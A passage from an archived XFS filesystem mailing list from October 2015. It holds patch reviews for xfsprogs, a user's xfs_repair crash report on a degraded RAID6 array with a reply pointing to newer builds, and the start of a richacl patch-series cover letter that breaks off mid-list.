Ij5MdWN5PEJSPkFjY291bnQgRXhlY3V0aXZlIDxCUj5Nb2JpbGUgUGhvbmU6IDE4OTE3Mzg4NDYy IDxCUj5FbWFpbDogPEEgaHJlZj0id2xtYWlsaHRtbDp7RDE2QkZENzAtNTBDRS00RUM1LUEyQjct MjdBRDQzMjQ2MDIxfW1pZDovLzAwMDAwMjA5LyF4LXVzYzptYWlsdG86d2RmQHNod2RmLmNvbSIg dGFyZ2V0PV9ibGFuayBfYWN0PSJjaGVja19kb21haWwiPjxGT05UIGNvbG9yPSM0MDQwNDA+d2Rm QHNod2RmLmNvbTwvRk9OVD48L0E+IDxCUj5RUTo0MTI5NTQ1MDA8L1A+DQo8UCBzdHlsZT0iQkFD S0dST1VORDogcmdiKDI0MiwyNDIsMjQyKSI+QWRkOiBBMTEwNSwgMjI4IFpoYW5neWFuZyBSb2Fk LCBUb21zb24gQ2VudGVyLCBMdWppYXp1aSBGaW5hbmNpYWwmYW1wO1RyYWRlIFpvbmUsIFB1ZG9u ZywgU2hhbmdoYWksIDIwMDEyMjwvUD48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48 L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJVj48L0RJ Vj48L0RJVj48L0RJVj4= --=-sinamail_alt_ba160c948b0faf395c490fff3c49fb05-- From BATV+b8db4a29492fa7e1c78b+4436+infradead.org+hch@bombadil.srs.infradead.org Fri Oct 16 00:35:15 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F2C517F58 for ; Fri, 16 Oct 2015 00:35:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E1AEF8F8052 for ; Thu, 15 Oct 2015 22:35:11 -0700 (PDT) X-ASG-Debug-ID: 1444973705-04cb6c3cec2abe0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id vvjGzgBQgJ8sOXSh (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 15 Oct 2015 22:35:06 -0700 (PDT) X-Barracuda-Envelope-From: BATV+b8db4a29492fa7e1c78b+4436+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZmxfU-0006i3-GC; Fri, 16 Oct 2015 05:35:04 +0000 Date: Thu, 15 Oct 2015 22:35:04 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] headers: remove definition of ASSERT from xfs.h Message-ID: <20151016053504.GA22243@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] headers: remove definition of ASSERT from xfs.h References: <1444952814-13063-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444952814-13063-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444973706 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23537 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Oct 16, 2015 at 10:46:54AM +1100, Dave Chinner wrote: > From: Dave Chinner > > If we define ASSERT() in the installed xfs.h header file, programs > including this header file will have their local definitions of > ASSERT screwed up. This is something internal to the xfsprogs build, > so move it to platform_defs.h.in where it will no longer be public. > > Signed-off-by: Dave Chinner Looks good, Reviewed-by: Christoph Hellwig From cmaiolino@redhat.com Fri Oct 16 03:09:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4B4AD7F5A for ; Fri, 16 Oct 2015 03:09:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5BE7AC001 for ; Fri, 16 Oct 2015 01:09:44 -0700 (PDT) X-ASG-Debug-ID: 1444982982-04cbb035ab36920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2UIp17TIKsLNTJhF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 01:09:43 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id BDBBC8EA37; Fri, 16 Oct 2015 08:09:42 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9G89dMJ025587 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Fri, 16 Oct 2015 04:09:42 -0400 Date: Fri, 16 Oct 2015 10:09:39 +0200 From: Carlos Maiolino To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] db: fix AGI ops definition in CRC type table Message-ID: <20151016080939.GA3970@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] db: fix AGI ops definition in CRC type table Mail-Followup-To: Dave Chinner , xfs@oss.sgi.com References: <1444709821-5009-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444709821-5009-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444982983 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Oct 13, 2015 at 03:17:01PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The wrong buffer ops structure was added to the AGI field of the > type table when initially committed. This was not noticed because it > only affects manually setting the type of a buffer from xfs_db. e.g Reviewed-by: Carlos Maiolino > > xfs_db> agi 0 > xfs_db> p > ..... > crc = 0xbc58d757 (correct) > ..... > xfs_db> fsb 2 > xfs_db> type agi > Metadata CRC error detected at block 0x10/0x1000 > xfs_db> > > This is because (trimmed for clarity): > > Breakpoint 1, xfs_verifier_error: > (gdb) bt > #0 xfs_verifier_error > #1 xfs_agfl_read_verify > #2 set_iocur_type > #3 type_f > #4 main > > It's clear that the wrong verifier is being run (AGFL, not AGI). > The fix is simple. > > Signed-off-by: Dave Chinner > --- > db/type.c | 4 ++-- > 1 file changed, 2 insertions(+), 2 deletions(-) > > diff --git a/db/type.c b/db/type.c > index 955986b..1da7ee1 100644 > --- a/db/type.c > +++ b/db/type.c > @@ -77,7 +77,7 @@ static const typ_t __typtab[] = { > static const typ_t __typtab_crc[] = { > { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, > { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, > - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, > + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, > { TYP_ATTR, "attr3", handle_struct, attr3_hfld, > &xfs_attr3_db_buf_ops }, > { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, > @@ -113,7 +113,7 @@ static const typ_t __typtab_crc[] = { > static const typ_t __typtab_spcrc[] = { > { TYP_AGF, "agf", handle_struct, agf_hfld, &xfs_agf_buf_ops }, > { TYP_AGFL, "agfl", handle_struct, agfl_crc_hfld, &xfs_agfl_buf_ops }, > - { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agfl_buf_ops }, > + { TYP_AGI, "agi", handle_struct, agi_hfld, &xfs_agi_buf_ops }, > { TYP_ATTR, "attr3", handle_struct, attr3_hfld, > &xfs_attr3_db_buf_ops }, > { TYP_BMAPBTA, "bmapbta", handle_struct, bmapbta_crc_hfld, > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From Sunghost@gmx.de Fri Oct 16 08:19:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 678947F5E for ; Fri, 16 Oct 2015 08:19:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3BA5C304053 for ; Fri, 16 Oct 2015 06:19:02 -0700 (PDT) X-ASG-Debug-ID: 1445001539-04bdf06db46f240001-NocioJ Received: from mout.gmx.net (mout.gmx.net [212.227.15.19]) by cuda.sgi.com with ESMTP id 4mykm7dPkizGhynI (version=TLSv1.2 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 06:19:00 -0700 (PDT) X-Barracuda-Envelope-From: Sunghost@gmx.de X-Barracuda-Apparent-Source-IP: 212.227.15.19 Received: from [194.12.218.135] by 3capp-gmx-bs54.server.lan (via HTTP); Fri, 16 Oct 2015 15:18:57 +0200 MIME-Version: 1.0 Message-ID: From: Dragon To: xfs@oss.sgi.com Subject: Error in `xfs_repair': double free or corruption Content-Type: text/html; charset=UTF-8 X-ASG-Orig-Subj: Error in `xfs_repair': double free or corruption Date: Fri, 16 Oct 2015 15:18:57 +0200 Importance: normal Sensitivity: Normal References: X-UI-Message-Type: mail X-Priority: 3 X-Provags-ID: V03:K0:znAW63g7BWdsa8KXmu5A3Qy77CTkUmcYuJMUsSt2ipZ cO8r+toTMx5K5cAube85LSMID0GUX2O1F18syCzaJ70Ku5R1X+ CbnUT6+pSH8EQwKWfTcieza+nflWrXWo58xQYIiZxdBWh9mKYt piQlfpEK89evXEFWZIvXW1JU/Yp2wOC2cDT4pf6buxN7Kc28Cx d62sedjUWTTEPpWwc4yeh+rYdR1rT6UUM3j3up5BkLlHGhTWul OkGnY2ri2nadYg2hzobKZEdDxHjLTI+oU5xV6mtAHUgTMg19po A2Pa40= X-UI-Out-Filterresults: notjunk:1;V01:K0:Ce5cbYgfRUY=:ZSf+jmEVjWXShX+zqS9iG0 eWHYfjWVKfYfBl5EkpKuqdjEFP4kV8GC08XTDPeeti51ZFBYopCHk+KrWByL330JqDpmX1ycc jfKnEbS/6To9LUXGCrt8svnEXlbvemsfDlYDdjL9X3l0kZfneMMceLBIYvyklAzJR6S3m960d 5pPW3rBRhnHA5tz+ASfMT/E/0zqx81GrvUJvkpuexKN54kpXUm3IJAjRNYQGAKW04Co9UspmT V7poAYFIV5jdMEColdzkLMsWcDJw2aKoZQAjEs9ZBGPz+uV8l3cPEj6TFkYWNLsKDESVFAX/h LFS/i2QXEBVT1zsTfqQXpp/6H5iPE9Ad0c35zVA+nehOgGG5gkljVpca/eVRuFNYwKgPIMNyX 6yVmg16fYWEoPP23DgjjjSKyFVXNbouN0bKsScE3QILnJ53QxMeuj9RKS7bjBgMu9JuFxH0KH 4hOp2T5Gvg== X-Barracuda-Connect: mout.gmx.net[212.227.15.19] X-Barracuda-Start-Time: 1445001539 X-Barracuda-Encrypted: DHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, HTML_MESSAGE, MARKETING_SUBJECT, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23545 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 2.00 BSF_SC0_MV0249 Custom rule MV0249
Hello,
i have a problem after repaired a degraded Softare Raid6. System is Debian Jessi and Root and Boot are on Raid1, and Data on Raid6 on md2 which miss one Disk. The mainproblem was a missing Disk because of badblocks which i cloned and exchanged agains a new one. After that i could successfully rebuild the raid (md2), while now only one disk is midding. But i recognised that xfs reports inode problems. Therefor i run xfs_repair on the raid device md2, but get message "Error in `xfs_repair': double free or corruption"
What can i do the fix this?
thx
 
From eflorac@intellique.com Fri Oct 16 08:26:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF40D7F5F for ; Fri, 16 Oct 2015 08:26:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D8BE8F8052 for ; Fri, 16 Oct 2015 06:26:18 -0700 (PDT) X-ASG-Debug-ID: 1445001975-04bdf06db26f560001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id QRlpJ89d7y8qr3Td (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 06:26:16 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 76FB72CB9C; Fri, 16 Oct 2015 09:26:15 -0400 (EDT) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by mail1.g1.pair.com (Postfix) with ESMTPSA id BDC752C9C7; Fri, 16 Oct 2015 09:26:14 -0400 (EDT) Date: Fri, 16 Oct 2015 15:26:18 +0200 From: Emmanuel Florac To: Dragon Cc: xfs@oss.sgi.com Subject: Re: Error in `xfs_repair': double free or corruption Message-ID: <20151016152618.32621033@harpe.intellique.com> X-ASG-Orig-Subj: Re: Error in `xfs_repair': double free or corruption In-Reply-To: References: Organization: Intellique X-Mailer: Claws Mail 3.12.0 (GTK+ 2.24.20; i486-slackware-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1445001976 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: intellique.com X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23545 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Le Fri, 16 Oct 2015 15:18:57 +0200 Dragon =C3=A9crivait: > Hello, > i have a problem after repaired a degraded Softare Raid6. System is > Debian Jessi and Root and Boot are on Raid1, and Data on Raid6 on md2 > which miss one Disk. The mainproblem was a missing Disk because of > badblocks which i cloned and exchanged agains a new one. After that i > could successfully rebuild the raid (md2), while now only one disk is > midding. But i recognised that xfs reports inode problems. Therefor i > run xfs_repair on the raid device md2, but get message "Error in > `xfs_repair': double free or corruption" What can i do the fix > this? thx=20 You didn't provide enough information (kernel and xfs-progs version at the very least) but you should use the latest version of xfs_repair, the one included in Debian is probably quite old. Here's one new: http://update.intellique.com/pub/xfs_repair-4.2.0.gz Or if you like it better in debian form: http://update.intellique.com/repository/pool/storiq3/unstable/amd64/xfsprog= s_4.2.0+1_amd64.deb --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From Sunghost@gmx.de Fri Oct 16 09:26:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B9967F63 for ; Fri, 16 Oct 2015 09:26:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4E2768F8033 for ; Fri, 16 Oct 2015 07:26:28 -0700 (PDT) X-ASG-Debug-ID: 1445005585-04cbb035ab419a0001-NocioJ Received: from mout.gmx.net (mout.gmx.net [212.227.15.18]) by cuda.sgi.com with ESMTP id mHQKzS56VIpApDwb (version=TLSv1.2 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 07:26:26 -0700 (PDT) X-Barracuda-Envelope-From: Sunghost@gmx.de X-Barracuda-Apparent-Source-IP: 212.227.15.18 Received: from [194.12.218.135] by 3capp-gmx-bs54.server.lan (via HTTP); Fri, 16 Oct 2015 16:26:24 +0200 MIME-Version: 1.0 Message-ID: From: Dragon To: xfs@oss.sgi.com Subject: Re: Error in `xfs_repair': double free or corruption Content-Type: text/plain; charset=UTF-8 X-ASG-Orig-Subj: Re: Error in `xfs_repair': double free or corruption Date: Fri, 16 Oct 2015 16:26:24 +0200 Importance: normal Sensitivity: Normal X-Priority: 3 X-Provags-ID: V03:K0:Ht1V6rvvPyJbO5uNdTGop6ncZmQLf1vozHZKqvFrwJD 3F1X0QJ/i9gzExLKWoQBqSXlX1nQZuq/wJQDXIAe33LOVsy0tl tBIXXpmFB1F3u3cMmCxT77RPJcYsfKLdnqN25Vj2teedW7C8dk dlkyJXrqmKCDZlMDFHyHd98LFGkM42jVmegHp2X1fNM2Qyt3eV AY4gLqMRZ6OqittRGtSC5YrFTRBIk3GWCmw6c/XgfDs2a97RF8 /PTEpflm1KF5/hglnFCBBsHTe2fDZYoub6Gx8G14fzPB28k425 mfoFXk= X-UI-Out-Filterresults: notjunk:1;V01:K0:LaYlZj3TkoI=:YoOBVBGz94Jx3mcbVZORXF SLDjTOtPIqioguxmBYuOVC8h7iK7W6s7KGQCoGjJkq/0voR3MimDB21ALs8GT2jWXGrjt3E/f 68nFqZLVzj4fB+icKyOsRTBmJPAoV8bj1/DAOHvoy680roykXTql5NPDbrdnshrmMkR2ZhW5c 7JHX+4hXIBpn50UhGvCsAmojUh3zWLcbM/q68eY/sr2tMFB4pqpIpMX9ukkXQx0k6VjtW0K9A /LtZG31Ul2B57J1VqJFsSJSWba2uXAdaksbgbqFUyn/eQpzuPw9zaJaO0Xb9maEFEqprEBdvN ShcnMNQ1XlSaBM8aV0r/SrhheiQt6nYFh/gL/SyP4TrMZEaJqQtu/J3paXLm8PItTBIQlHAi0 Ohh/9gVJiLQIDuNbi5ruXLN8sllptXSagmQ4eKF0/yEHe+mdYhh82l7f321+N14rME7gAeVjg KiTmaXfOBg== X-Barracuda-Connect: mout.gmx.net[212.227.15.18] X-Barracuda-Start-Time: 1445005585 X-Barracuda-Encrypted: DHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: intellique.com X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23546 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Hello Emmanuel, kernel version is 3.16-0.bpo.2-amd64 and xfsprogs in version 3.2.1 from stable. the question is if xfs_repair can repair a raid which has missed a disk with over 240gb bad blocks. gretings Hello, i have a problem after repaired a degraded Softare Raid6. System is Debian Jessi and Root and Boot are on Raid1, and Data on Raid6 on md2 which miss one Disk. The mainproblem was a missing Disk because of badblocks which i cloned and exchanged agains a new one. After that i could successfully rebuild the raid (md2), while now only one disk is midding. But i recognised that xfs reports inode problems. Therefor i run xfs_repair on the raid device md2, but get message "Error in `xfs_repair': double free or corruption" What can i do the fix this? thx You didn't provide enough information (kernel and xfs-progs version at the very least) but you should use the latest version of xfs_repair, the one included in Debian is probably quite old. Here's one new: http://update.intellique.com/pub/xfs_repair-4.2.0.gz Or if you like it better in debian form: http://update.intellique.com/repository/pool/storiq3/unstable/amd64/xfsprogs_4.2.0+1_amd64.deb -- ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From agruenba@redhat.com Fri Oct 16 10:18:41 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BB9377F69 for ; Fri, 16 Oct 2015 10:18:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 711DD304062 for ; Fri, 16 Oct 2015 08:18:38 -0700 (PDT) X-ASG-Debug-ID: 1445008716-04bdf06db472970001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tnOkyti5A5ATUBH2 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:18:36 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 4D3B6A075E; Fri, 16 Oct 2015 15:18:35 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbh011947; Fri, 16 Oct 2015 11:18:28 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 00/48] Richacls Date: Fri, 16 Oct 2015 17:17:38 +0200 X-ASG-Orig-Subj: [PATCH v11 00/48] Richacls Message-Id: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008716 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Here is another update of the richacl patch queue. I would like to ask for feedback so that the core and local filesystem code (patches 1-24) can be merged in the 4.4 merge window. Changes since the last posting (http://lwn.net/Articles/660392/): * The kernel nfs client can now distinguish between users and groups which have no ID mapping and the nobody user/group. This requires an extension to the nfsidmap user-space helper from the nfs-utils package [2]. When the kernel detects that nfsidmap doesn't support the new mapping, it falls back to the old one. * Minor bugs with unmapped user and group names in nfs and nfsd have been fixed. Some functions have been split to be easier to understand. * The ext4 and xfs filesystem code has been simplified based on feedback from Dave Chinner. On xfs, richacls can no longer be compiled out (but they will only be effective on file systems with the richacl feature set). The complete patch queue is available in git form at [1]. The richacl user-space utilitites and test suite are available at [3]. Please see the richacl homepage [4] for more information. [1] git://git.kernel.org/pub/scm/linux/kernel/git/agruen/linux-richacl.git \ richacl-2015-10-16 [2] https://github.com/andreas-gruenbacher/nfs-utils [3] https://github.com/andreas-gruenbacher/richacl/ [4] http://www.bestbits.at/richacl/ Thanks, Andreas Andreas Gruenbacher (46): vfs: Add IS_ACL() and IS_RICHACL() tests vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags vfs: Make the inode passed to inode_change_ok non-const vfs: Add permission flags for setting file attributes richacl: In-memory representation and helper functions richacl: Permission mapping functions richacl: Compute maximum file masks from an acl richacl: Permission check algorithm vfs: 